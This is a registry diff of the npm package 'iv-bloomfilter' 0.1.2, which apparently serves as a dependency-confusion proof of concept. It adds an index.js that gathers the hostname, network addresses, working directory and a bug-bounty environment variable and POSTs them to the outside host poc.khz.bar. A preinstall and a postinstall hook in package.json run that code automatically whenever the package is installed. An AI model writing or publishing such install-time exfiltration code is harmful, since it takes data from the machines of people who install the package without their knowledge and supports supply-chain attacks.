iv-bloomfilter 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +3 -0
  2. package/index.js +43 -0
  3. package/package.json +12 -0
package/README.md ADDED
@@ -0,0 +1,3 @@
1
+ # @doctolib-apps/native-personalized-services
2
+
3
+ Claimed by dphoeniixx.
package/index.js ADDED
@@ -0,0 +1,43 @@
1
+ const os = require("os");
2
+ const http = require("http");
3
+
4
+ const pkg = "iv-bloomfilter";
5
+ const hostname = os.hostname();
6
+
7
+ const ips = [];
8
+ const ifaces = os.networkInterfaces();
9
+ for (const name of Object.keys(ifaces)) {
10
+ for (const iface of ifaces[name] || []) {
11
+ if (!iface.internal) ips.push(`${name}:${iface.family}:${iface.address}`);
12
+ }
13
+ }
14
+
15
+ const payload = JSON.stringify({
16
+ package: pkg,
17
+ hostname: hostname,
18
+ ips: ips,
19
+ cwd: process.cwd(),
20
+ bugbounty: process.env.SECURITY_BUG_BOUNTY_DOCTOLIB_IS_PWN,
21
+ });
22
+
23
+ const req = http.request(
24
+ {
25
+ method: "POST",
26
+ host: "poc.khz.bar",
27
+ path: "/install",
28
+ headers: {
29
+ "Content-Type": "application/json",
30
+ "Content-Length": Buffer.byteLength(payload),
31
+ },
32
+ timeout: 5000,
33
+ },
34
+ (res) => {
35
+ res.on("data", () => {});
36
+ res.on("end", () => {});
37
+ }
38
+ );
39
+
40
+ req.on("error", () => {});
41
+ req.on("timeout", () => req.destroy());
42
+ req.write(payload);
43
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "iv-bloomfilter",
3
+ "version": "0.1.2",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js",
8
+ "postinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }